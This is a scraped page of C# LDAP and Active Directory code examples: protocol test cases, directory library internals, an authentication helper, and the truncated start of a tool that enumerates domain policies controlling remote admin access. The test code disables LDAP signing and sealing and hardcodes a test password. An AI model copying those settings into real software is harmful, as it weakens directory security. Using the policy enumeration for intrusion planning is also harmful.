            System.DirectoryServices.Protocols.SearchResultEntry userEntry;

            #endregion

            #region connect and get rodc and user object

            LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(AD_LDAPModelAdapter.Instance(Site).PDCNetbiosName),
                                                    new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                                                                          AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                                                                          AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName));
            con.SessionOptions.Sealing = false;
            con.SessionOptions.Signing = false;
            System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                rodcObjDN,
                "(objectClass=computer)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "msDS-KrbTgtLink",
                "msDS-NeverRevealGroup",
                "msDS-RevealOnDemandGroup");
            System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            rodcEntry = searchRep.Entries[0];
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                userObjDN,
                "(objectClass=user)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "userAccountControl",
                "objectSid");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            userEntry = searchRep.Entries[0];

            #endregion

            #region body
            //An RODC can always cache secrets of its own account
            if (rodcObjDN == userObjDN)
            {
                return(true);
            }

            //An RODC can always cache secrets of its own secondary Kerberos TGT account
            //But not other secondary Kerberos TGT accounts.
            DirectoryAttribute attr   = rodcEntry.Attributes["msDS-KrbTgtLink"];
            object[]           values = attr.GetValues(Type.GetType("System.String"));
            foreach (string value in values)
            {
                if (value.Equals(userObjDN, StringComparison.CurrentCultureIgnoreCase))
                {
                    return(true);
                }
            }
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                AD_LDAPModelAdapter.Instance(Site).rootDomainNC,
                "(objectClass=computer)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "msDS-KrbTgtLink");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in searchRep.Entries)
            {
                if (entry.Attributes["msDS-KrbTgtLink"] != null)
                {
                    values = entry.Attributes["msDS-KrbTgtLink"].GetValues(Type.GetType("System.String"));
                    foreach (string value in values)
                    {
                        if (value.Equals(userObjDN, StringComparison.CurrentCultureIgnoreCase))
                        {
                            return(false);
                        }
                    }
                }
            }

            //Never reveal secrets of inter-domain trust accounts
            attr   = userEntry.Attributes["userAccountControl"];
            values = attr.GetValues(Type.GetType("System.String"));
            foreach (string value in values)
            {
                int userAccountControl = int.Parse(value, CultureInfo.InvariantCulture);
                if (((AdtsUserAccountControl)userAccountControl & AdtsUserAccountControl.ADS_UF_INTERDOMAIN_TRUST_ACCOUNT) != 0)
                {
                    return(false);
                }
            }

            //Never reveal secrets of users reachable from rodcObj!msDS-NeverRevealGroup
            attr   = rodcEntry.Attributes["msDS-NeverRevealGroup"];
            values = attr.GetValues(Type.GetType("System.String"));
            foreach (string groupDN in values)
            {
                if (Utilities.IsGroupMember(
                        AD_LDAPModelAdapter.Instance(Site).PDCNetbiosName,
                        AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName,
                        AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                        AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                        groupDN,
                        userObjDN))
                {
                    return(false);
                }
            }

            //Cache secrets of users reachable from rodcObj!msDS-RevealOnDemandGroup
            attr   = rodcEntry.Attributes["msDS-RevealOnDemandGroup"];
            values = attr.GetValues(Type.GetType("System.String"));
            foreach (string groupDN in values)
            {
                if (Utilities.IsGroupMember(
                        AD_LDAPModelAdapter.Instance(Site).PDCNetbiosName,
                        AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName,
                        AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                        AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                        groupDN,
                        userObjDN))
                {
                    return(true);
                }
            }

            return(false);

            #endregion
        }
Example #30
0
        internal void ReadServerConfig(string serverName, ref ServerProperties properties)
        {
            string[] proplist = new string[] { "msDS-PortSSL", "msDS-PortLDAP", "domainControllerFunctionality", "dnsHostName", "supportedCapabilities" };
            LdapConnection ldapConnection = null;

            try
            {
                bool useSSL = (_options & ContextOptions.SecureSocketLayer) > 0;

                if (useSSL && _contextType == ContextType.Domain)
                {
                    LdapDirectoryIdentifier directoryid = new LdapDirectoryIdentifier(serverName, LdapConstants.LDAP_SSL_PORT);
                    ldapConnection = new LdapConnection(directoryid);
                }
                else
                {
                    ldapConnection = new LdapConnection(serverName);
                }

                ldapConnection.AutoBind = false;
                // If SSL was enabled on the initial connection then turn it on for the search.
                // This is requried bc the appended port number will be SSL and we don't know what port LDAP is running on.
                ldapConnection.SessionOptions.SecureSocketLayer = useSSL;

                string baseDN = null; // specify base as null for RootDSE search
                string ldapSearchFilter = "(objectClass=*)";
                SearchResponse searchResponse = null;

                SearchRequest searchRequest = new SearchRequest(baseDN, ldapSearchFilter, System.DirectoryServices.Protocols
                    .SearchScope.Base, proplist);

                try
                {
                    searchResponse = (SearchResponse)ldapConnection.SendRequest(searchRequest);
                }
                catch (LdapException ex)
                {
                    throw new PrincipalServerDownException(StringResources.ServerDown, ex);
                }

                // Fill in the struct with the casted properties from the serach results.
                // there will always be only 1 item on the rootDSE so all entry indexes are 0
                properties.dnsHostName = (string)searchResponse.Entries[0].Attributes["dnsHostName"][0];
                properties.SupportCapabilities = new string[searchResponse.Entries[0].Attributes["supportedCapabilities"].Count];
                for (int i = 0; i < searchResponse.Entries[0].Attributes["supportedCapabilities"].Count; i++)
                {
                    properties.SupportCapabilities[i] = (string)searchResponse.Entries[0].Attributes["supportedCapabilities"][i];
                }

                foreach (string capability in properties.SupportCapabilities)
                {
                    if (CapabilityMap.LDAP_CAP_ACTIVE_DIRECTORY_ADAM_OID == capability)
                    {
                        properties.contextType = ContextType.ApplicationDirectory;
                    }
                    else if (CapabilityMap.LDAP_CAP_ACTIVE_DIRECTORY_OID == capability)
                    {
                        properties.contextType = ContextType.Domain;
                    }
                }

                // If we can't determine the OS vesion so we must fall back to lowest level of functionality
                if (searchResponse.Entries[0].Attributes.Contains("domainControllerFunctionality"))
                {
                    properties.OsVersion = (DomainControllerMode)Convert.ToInt32(searchResponse.Entries[0].Attributes["domainControllerFunctionality"][0], CultureInfo.InvariantCulture);
                }
                else
                {
                    properties.OsVersion = DomainControllerMode.Win2k;
                }

                if (properties.contextType == ContextType.ApplicationDirectory)
                {
                    if (searchResponse.Entries[0].Attributes.Contains("msDS-PortSSL"))
                    {
                        properties.portSSL = Convert.ToInt32(searchResponse.Entries[0].Attributes["msDS-PortSSL"][0]);
                    }
                    if (searchResponse.Entries[0].Attributes.Contains("msDS-PortLDAP"))
                    {
                        properties.portLDAP = Convert.ToInt32(searchResponse.Entries[0].Attributes["msDS-PortLDAP"][0]);
                    }
                }

                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "OsVersion : " + properties.OsVersion.ToString());
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "dnsHostName : " + properties.dnsHostName);
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "contextType : " + properties.contextType.ToString());
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "portSSL : " + properties.portSSL.ToString(CultureInfo.InvariantCulture));
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "portLDAP :" + properties.portLDAP.ToString(CultureInfo.InvariantCulture));
            }
            finally
            {
                if (ldapConnection != null)
                {
                    ldapConnection.Dispose();
                }
            }
        }
Example #31
0
        public void LDAP_Delete_DynamicObject_Requirements()
        {
            BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012");

            #region Local variables

            string testUser     = "******";
            string testUserDN   = "CN=" + testUser + ",CN=Users," + adLdapModelAdapter.rootDomainNC;
            string testUserGuid = null;
            bool   isExist      = false;
            System.DirectoryServices.Protocols.DeleteRequest  delReq;
            System.DirectoryServices.Protocols.DeleteResponse delRep;

            #endregion

            using (LdapConnection con = new LdapConnection(
                       new LdapDirectoryIdentifier(adLdapModelAdapter.PDCIPAddress),
                       new NetworkCredential(
                           adLdapModelAdapter.DomainAdministratorName,
                           adLdapModelAdapter.DomainUserPassword,
                           adLdapModelAdapter.PrimaryDomainDnsName)))
            {
                con.SessionOptions.Sealing = false;
                con.SessionOptions.Signing = false;

                #region Delete the dynamic object to initialize the test environment

                try
                {
                    delReq = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN);
                    delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);
                    BaseTestSite.Assert.AreEqual(ResultCode.Success, delRep.ResultCode, "[Initialize] Deleting the dynamic object should success.");
                }
                catch (Exception e)
                {
                    BaseTestSite.Log.Add(LogEntryKind.Debug, "[Initialize] Deleting the dynamic object failed: {0}", e.Message);
                }

                #endregion

                #region Add the dynamic object to be deleted

                ManagedAddRequest addReq = new ManagedAddRequest(testUserDN);
                addReq.Attributes.Add(new DirectoryAttribute("objectClass", new string[] { "dynamicObject", "user" }));
                addReq.Attributes.Add(new DirectoryAttribute("entryTTL", "1800"));
                addReq.Attributes.Add(new DirectoryAttribute("sAMAccountName", testUser));
                System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
                BaseTestSite.Assert.AreEqual(ResultCode.Success, addRep.ResultCode, "Adding the dynamic object should success.");

                System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                    testUserDN,
                    "(objectClass=user)",
                    System.DirectoryServices.Protocols.SearchScope.Subtree,
                    new string[] { "objectClass" });
                System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
                DirectoryAttribute attr   = searchRep.Entries[0].Attributes["objectClass"];
                object[]           values = attr.GetValues(Type.GetType("System.String"));
                foreach (string value in values)
                {
                    if (value.Contains("dynamicObject"))
                    {
                        isExist = true;
                    }
                }
                BaseTestSite.Assert.IsTrue(isExist, "Dynamic entry should be created successfully.");

                testUserGuid = Utilities.GetUserGuid(
                    adLdapModelAdapter.PDCNetbiosName,
                    adLdapModelAdapter.PrimaryDomainDnsName,
                    adLdapModelAdapter.ADDSPortNum,
                    adLdapModelAdapter.DomainAdministratorName,
                    adLdapModelAdapter.DomainUserPassword,
                    testUser);

                #endregion

                #region delete the dynamic object and verify requirements

                delReq = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN);
                delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);
                BaseTestSite.Assert.AreEqual(ResultCode.Success, delRep.ResultCode, "Deleting the dynamic object should success.");
                SearchResult tombStoneResult = Utilities.GetDeletedObject(testUserGuid, adLdapModelAdapter.defaultNC, adLdapModelAdapter.currentWorkingDC.FQDN, adLdapModelAdapter.currentPort);
                if (tombStoneResult == null)
                {
                    isExist = false;
                }
                if (adLdapModelAdapter.isTDI72765fixed)
                {
                    BaseTestSite.Assert.IsFalse(
                        isExist,
                        @"Dynamic objects are objects that are automatically deleted after a period of time. When they are deleted (automatically or manually),
                    they do not transform into any other state, such as a tombstone, deleted-object, or recycled-object. ");
                }

                #endregion
            }
        }
Example #32
0
        public bool MemberOfGroup(string user, string group)
        {
            string groupDn = Settings.Store.GroupDnPattern;
            string groupAttribute = Settings.Store.GroupMemberAttrib;

            if (string.IsNullOrEmpty(groupDn))
                throw new Exception("Can't resolve group DN, group DN pattern missing.");

            if (string.IsNullOrEmpty(groupAttribute))
                throw new Exception("Can't resolve group membership, group attribute missing.");

            groupDn = Regex.Replace(groupDn, @"\%g", group);

            string target = user;

            // If the group attribute is "uniqueMember" or "member" then the LDAP server
            // is using groupOfUniqueNames or groupOfNames object class.  The group
            // list uses full DNs instead of just uids, so we need to expand the
            // username to the full DN.
            if (groupAttribute.Equals("uniqueMember", StringComparison.CurrentCultureIgnoreCase) ||
                groupAttribute.Equals("member", StringComparison.CurrentCultureIgnoreCase))
            {
                // Try to generate the full DN for the user.
                m_logger.DebugFormat("Attempting to generate DN for user {0}", user);
                target = this.GetUserDN(user);
                if (target == null)
                {
                    m_logger.Error("Unable to generate DN for user, using username.");
                    target = user;
                }
            }

            string filter = string.Format("({0}={1})", groupAttribute, target);
            m_logger.DebugFormat("Searching for group membership, DN: {0}  Filter: {1}", groupDn, filter);
            try
            {
                SearchRequest req = new SearchRequest(groupDn, filter, SearchScope.Base, new string[] {"dn"});
                req.Aliases = (DereferenceAlias)((int)Settings.Store.Dereference);
                SearchResponse resp = (SearchResponse)m_conn.SendRequest(req);
                return resp.Entries.Count > 0;
            }
            catch (DirectoryOperationException e)
            {
                m_logger.ErrorFormat("Error when checking for group membership: {0}", e.Message);
                return false;
            }
        }
        public void LDAP_Modify_SecurityDescriptor_ProcessingSpecifics()
        {
            #region variables

            string netBIOSName = AD_LDAPModelAdapter.Instance(Site).PrimaryDomainNetBiosName;
            string operUser    = "******";
            string operUserDN  = "CN=" + operUser + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            string testUser    = "******";
            string testUserDN  = "CN=" + testUser + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            string userPwd     = "Password01!";
            bool   failed      = false;
            ActiveDirectorySecurity securityDescriptor = new ActiveDirectorySecurity();
            string testUserOwner = null;

            #endregion

            BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less then Windows Server 2012");
            string addr = AD_LDAPModelAdapter.Instance(Site).PDCIPAddress;
            string port = AD_LDAPModelAdapter.Instance(Site).ADDSPortNum;

            try
            {
                using (LdapConnection con = new LdapConnection(
                           new LdapDirectoryIdentifier(addr, int.Parse(port)),
                           new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                                                 AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                                                 AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)))
                {
                    con.SessionOptions.Sealing = false;
                    con.SessionOptions.Signing = false;

                    #region add a user object for operating the ntSecurityDescriptor modify

                    if (!Utilities.IsObjectExist(operUserDN, addr, port))
                    {
                        Utilities.NewUser(addr, port, "CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC, operUser, userPwd);
                    }

                    #endregion

                    #region add a test user object to be modified

                    if (!Utilities.IsObjectExist(testUserDN, addr, port))
                    {
                        Utilities.NewUser(addr, port, "CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC, testUser, userPwd);
                    }

                    #endregion

                    #region get ntSecurityDescriptor for the test user object to be modified

                    System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                        testUserDN,
                        "(objectClass=user)",
                        System.DirectoryServices.Protocols.SearchScope.Subtree,
                        "ntSecurityDescriptor");
                    System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
                    BaseTestSite.Assert.AreEqual(
                        1,
                        searchRep.Entries[0].Attributes.Count,
                        @"Without the presence of this control, the server returns an SD only when the SD attribute name is explicitly mentioned in the requested attribute list.");
                    DirectoryAttribute attr   = searchRep.Entries[0].Attributes["ntSecurityDescriptor"];
                    object[]           values = attr.GetValues(Type.GetType("System.Byte[]"));
                    byte[]             value  = (byte[])values[0];
                    securityDescriptor.SetSecurityDescriptorBinaryForm(value);

                    //GetsSecurityDescriptorOwner method will return the owner part of Secuirty Descriptor
                    testUserOwner = Utilities.GetSecurityDescriptorOwner(securityDescriptor);

                    #endregion
                }

                using (LdapConnection con = new LdapConnection(
                           new LdapDirectoryIdentifier(addr, int.Parse(port)),
                           new NetworkCredential(operUser, userPwd, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)))
                {
                    #region modify the test user

                    IdentityReference testUserId = new NTAccount(testUserOwner);
                    securityDescriptor.SetOwner(testUserId);
                    byte[] value = securityDescriptor.GetSecurityDescriptorBinaryForm();

                    DirectoryAttributeModification mod = new DirectoryAttributeModification();
                    mod.Name      = "ntSecurityDescriptor";
                    mod.Operation = DirectoryAttributeOperation.Replace;
                    mod.Add(value);
                    System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest(testUserDN, mod);
                    try
                    {
                        System.DirectoryServices.Protocols.ModifyResponse modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq);
                        if (modRep.ResultCode == ResultCode.Success)
                        {
                            failed = false;
                        }
                    }
                    catch (DirectoryOperationException e)
                    {
                        if (e.Response.ResultCode == ResultCode.ConstraintViolation)
                        {
                            int errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture);
                            if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_INVALID_OWNER)
                            {
                                failed = true;
                            }
                        }
                    }

                    BaseTestSite.Assert.IsTrue(
                        failed,
                        @"Microsoft Windows Server 2008 R2 operating system and above impose a restriction on modifying the OWNER field.
                    If a modify operation attempts to set the OWNER SID to a value to which it is currently set, the operation will 
                    fail with a constraintViolation / ERROR_INVALID_OWNER unless at least one of the following conditions applies.
                    Let U be the user performing the modify operation:
                    §	U.SID equals OWNER SID.
                    §	Let G be a group in U.Groups whose SID is being set in the OWNER field. G.Attributes contains SE_GROUP_OWNER but not SE_GROUP_USE_FOR_DENY_ONLY.
                    §	U.Privileges contains SE_RESTORE_PRIVILEGE.
                    This restriction is processed before the security checks described in section 6.1.3.4.");

                    #endregion
                }
            }
            finally
            {
                using (LdapConnection con = new LdapConnection(
                           new LdapDirectoryIdentifier(addr, int.Parse(port)),
                           new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                                                 AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                                                 AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)))
                {
                    #region clean up

                    System.DirectoryServices.Protocols.DeleteRequest  delReq = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN);
                    System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);
                    delReq = new System.DirectoryServices.Protocols.DeleteRequest(operUserDN);
                    delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);

                    #endregion
                }
            }
        }
Example #34
0
        /// <summary>
        /// Does a search in the subtree at searchBase, using the filter provided and 
        /// returns the DN of the first match.
        /// </summary>
        /// <param name="searchBase">The DN of the root of the subtree for the search (search context).</param>
        /// <param name="filter">The search filter.</param>
        /// <returns>The DN of the first match, or null if no matches are found.</returns>
        public string FindFirstDN(string searchBase, string filter)
        {
            SearchRequest req = new SearchRequest(searchBase, filter, System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            req.Aliases = (DereferenceAlias)((int)Settings.Store.Dereference);
            SearchResponse resp = (SearchResponse)m_conn.SendRequest(req);

            if (resp.Entries.Count > 0)
            {
                return resp.Entries[0].DistinguishedName;
            }

            return null;
        }
Example #35
0
        public void LDAP_Delete_Tombstone_Requirements()
        {
            #region variables

            string testGroup   = "testGroup";
            string testGroupDN = "CN=" + testGroup + ",CN=Users," + adLdapModelAdapter.rootDomainNC;
            string testUser    = "******";
            string testUserDN  = "CN=" + testUser + ",CN=Users," + adLdapModelAdapter.rootDomainNC;
            bool   isExist     = false;

            #endregion

            #region connect

            BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012");
            string         addr = adLdapModelAdapter.PDCIPAddress;
            string         port = adLdapModelAdapter.ADDSPortNum;
            LdapConnection con  = new LdapConnection(
                new LdapDirectoryIdentifier(addr, int.Parse(port)),
                new NetworkCredential(adLdapModelAdapter.DomainAdministratorName,
                                      adLdapModelAdapter.DomainUserPassword,
                                      adLdapModelAdapter.PrimaryDomainDnsName));
            con.SessionOptions.Sealing = false;
            con.SessionOptions.Signing = false;

            #endregion

            #region Add the object for delete testing

            try
            {
                System.DirectoryServices.Protocols.DeleteRequest  req = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN);
                System.DirectoryServices.Protocols.DeleteResponse rep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(req);
            }
            catch { }
            ManagedAddRequest addReq = new ManagedAddRequest(testUserDN, "user");
            System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            try
            {
                System.DirectoryServices.Protocols.DeleteRequest  req = new System.DirectoryServices.Protocols.DeleteRequest(testGroupDN);
                System.DirectoryServices.Protocols.DeleteResponse rep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(req);
            }
            catch { }
            addReq = new ManagedAddRequest(testGroupDN, "group");
            addReq.Attributes.Add(new DirectoryAttribute("member", testUserDN));
            addReq.Attributes.Add(new DirectoryAttribute("description", testUserDN));
            addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);

            System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                testGroupDN,
                "(objectClass=group)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                new string[] { "member", "description" });
            System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            DirectoryAttribute attr   = searchRep.Entries[0].Attributes["member"];
            object[]           values = attr.GetValues(Type.GetType("System.String"));
            foreach (string value in values)
            {
                if (value.Contains(testUserDN))
                {
                    isExist = true;
                }
            }
            BaseTestSite.Assert.IsTrue(isExist, @"Entry referencing the to-be-deleted entry should exist before deletion.");
            isExist = false;
            attr    = searchRep.Entries[0].Attributes["description"];
            values  = attr.GetValues(Type.GetType("System.String"));
            foreach (string value in values)
            {
                if (value.Contains(testUserDN))
                {
                    isExist = true;
                }
            }
            BaseTestSite.Assert.IsTrue(isExist, @"Entry referencing the to-be-deleted entry should exist before deletion.");

            #endregion

            #region check the deleted entry

            System.DirectoryServices.Protocols.DeleteRequest  delReq = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN);
            System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);

            DirectoryEntry deletedEntry = Utilities.BuildDeletedEntry(
                string.Format(CultureInfo.InvariantCulture, "{0}.{1}", adLdapModelAdapter.PDCNetbiosName, adLdapModelAdapter.PrimaryDomainDnsName),
                AD_LDAPModelAdapter.DELETED_OBJECTS_CONTAINER_GUID,
                adLdapModelAdapter.rootDomainNC);
            SearchResult tombStoneResult = Utilities.GetTombstone(deletedEntry, testUserDN.Split(',')[0].Split('=')[1].Trim());
            BaseTestSite.Assert.IsNotNull(tombStoneResult, "deleted entry: {0} should be found in AD.", deletedEntry);

            #region linked attributes in deleted entry

            isExist = false;
            foreach (string key in tombStoneResult.Properties.PropertyNames)
            {
                foreach (object value in tombStoneResult.Properties[key])
                {
                    if (key.ToLower(CultureInfo.InvariantCulture) == "objectCategory")
                    {
                        if (value != null)
                        {
                            isExist = true;
                        }
                    }
                    if (key.ToLower(CultureInfo.InvariantCulture) == "sAMAccountType")
                    {
                        if (value != null)
                        {
                            isExist = true;
                        }
                    }
                }
            }
            BaseTestSite.Assert.IsFalse(
                isExist,
                @"A tombstone does not retain the attribute values of the original object for the attributes objectCategory and sAMAccountType
                or for any linked attributes even if these attributes would otherwise be retained according to the preceding bullet point. 
                In other words, when an object is deleted and transformed into a tombstone, objectCategory values, sAMAccountType values, 
                and any linked attribute values on it are always removed.");

            #endregion

            #endregion

            #region check the entry referencing the deleted entry

            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                testGroupDN,
                "(objectClass=group)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                new string[] { "member", "description" });
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);

            #region linked attribute in referencing entry

            attr = searchRep.Entries[0].Attributes["member"];
            if (attr == null)
            {
                isExist = false;
            }
            BaseTestSite.Assert.IsFalse(
                isExist,
                @"NC replicas do not contain objects with linked attribute values referencing tombstones. 
                In other words, when an object is deleted and transformed into a tombstone, any linked attribute 
                values on other objects referencing it are also removed."
                );

            #endregion

            #region non linked attribute in referencing entry

            isExist = false;
            attr    = searchRep.Entries[0].Attributes["description"];
            values  = attr.GetValues(Type.GetType("System.String"));
            foreach (string value in values)
            {
                if (value.Contains(testUserDN))
                {
                    isExist = true;
                }
            }
            BaseTestSite.Assert.IsTrue(
                isExist,
                @"If any NC replicas contain other objects with nonlinked attribute values referencing a tombstone,
                then those attribute values on those objects are retained.  In other words, when an object is deleted
                and transformed into a tombstone, any nonlinked attribute values on other objects referencing it are not removed."
                );

            #endregion

            #endregion

            #region clean up

            if (Utilities.IsObjectExist(testUserDN, addr, port))
            {
                System.DirectoryServices.Protocols.DeleteRequest req = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN);
                try
                {
                    System.DirectoryServices.Protocols.DeleteResponse rep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(req);
                }
                catch
                {
                }
            }
            if (Utilities.IsObjectExist(testGroupDN, addr, port))
            {
                System.DirectoryServices.Protocols.DeleteRequest req = new System.DirectoryServices.Protocols.DeleteRequest(testGroupDN);
                try
                {
                    System.DirectoryServices.Protocols.DeleteResponse rep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(req);
                }
                catch
                {
                }
            }

            #endregion
        }
Example #36
0
        public bool Authenticate(string password, AuthenticationOption option)
        {
            if (option == null)
            {
                return(false);
            }

            try
            {
                LdapConnection con = new LdapConnection(option.ConnectionString);
                switch (option.Mode)
                {
                case AuthenticationMode.None:
                case AuthenticationMode.Anonymous:
                    con.AuthType = AuthType.Anonymous;
                    break;

                case AuthenticationMode.Basic:
                    con.Credential = new NetworkCredential(option.ServiceAccountName, option.ServiceAccountPwd);
                    con.AuthType   = AuthType.Basic;
                    break;

                case AuthenticationMode.secure:
                    con.Credential = new NetworkCredential(
                        ADOperation.GetAccountName(option.ServiceAccountName),
                        option.ServiceAccountPwd,
                        ADOperation.GetDomainName(option.ServiceAccountName));
                    con.AuthType = AuthType.Ntlm;
                    break;

                default:
                    throw new NotImplementedException();
                }

                using (con)
                {
                    con.Bind();

                    string filter = option.BuildSearchFilter();
                    if (string.IsNullOrEmpty(filter))
                    {
                        return(false);
                    }

                    System.DirectoryServices.Protocols.SearchRequest request = new System.DirectoryServices.Protocols.SearchRequest(
                        option.GetSearchRoot(),
                        filter,
                        System.DirectoryServices.Protocols.SearchScope.Subtree);

                    SearchResponse response = (SearchResponse)con.SendRequest(request);
                    if (response.Entries.Count != 1)
                    {
                        return(false);
                    }
                    SearchResultEntry entry = response.Entries[0];
                    string            dn    = entry.DistinguishedName;

                    con.Credential = new NetworkCredential(dn, password);
                    con.AuthType   = AuthType.Basic;
                    con.Bind();
                }
            }
            catch
            {
                return(false);
            }

            return(true);
        }
        static void Main(string[] args)
        {
            string domain           = "";
            string domainController = "";
            string searchScope      = "";
            string searchBase       = "";
            bool   verbose          = false;

            var Options = new Options();

            if (CommandLineParser.Default.ParseArguments(args, Options))
            {
                if (Options.help == true)
                {
                    PrintHelp();
                    return;
                }
                if (!string.IsNullOrEmpty(Options.domain))
                {
                    domain = Options.domain;
                }
                if (string.IsNullOrEmpty(Options.searchScope))
                {
                    searchScope = "SubTree";
                }
                else
                {
                    searchScope = Options.searchScope;
                }
                if (!string.IsNullOrEmpty(Options.domainController))
                {
                    domainController = Options.domainController;
                }
                if (Options.verbose)
                {
                    verbose = true;
                }
                if (!string.IsNullOrEmpty(Options.searchBase))
                {
                    searchBase = Options.searchBase;
                }
            }

            var listEnableLUA = new List <string>();
            var listFilterAdministratorToken          = new List <string>();
            var listLocalAccountTokenFilterPolicy     = new List <string>();
            var listSeDenyNetworkLogonRight           = new List <string>();
            var listSeDenyRemoteInteractiveLogonRight = new List <string>();
            var computerPolicyEnableLUA = new List <string>();
            var computerPolicyFilterAdministratorToken          = new List <string>();
            var computerPolicyLocalAccountTokenFilterPolicy     = new List <string>();
            var computerPolicySeDenyNetworkLogonRight           = new List <string>();
            var computerPolicySeDenyRemoteInteractiveLogonRight = new List <string>();

            //discover current domain
            System.DirectoryServices.ActiveDirectory.Domain current_domain = null;

            if (string.IsNullOrEmpty(domain))
            {
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain();
                    domain         = current_domain.Name;
                }
                catch
                {
                    Console.WriteLine("[!] Cannot enumerate domain.\n");
                    return;
                }
            }
            else
            {
                DirectoryContext domainContext = new DirectoryContext(DirectoryContextType.Domain, domain);
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetDomain(domainContext);
                }
                catch
                {
                    Console.WriteLine("\n[!] The specified domain does not exist or cannot be contacted. Exiting...\n");
                    return;
                }
            }

            if (string.IsNullOrEmpty(Options.domainController))
            {
                domainController = current_domain.FindDomainController().Name;
            }
            else
            {
                var ldapId = new LdapDirectoryIdentifier(Options.domainController);
                using (var testConnection = new LdapConnection(ldapId))
                {
                    try
                    {
                        testConnection.Bind();
                    }
                    catch
                    {
                        Console.WriteLine("\n[!] The specified domain controller cannot be contacted. Exiting...\n");
                        return;
                    }
                }
            }

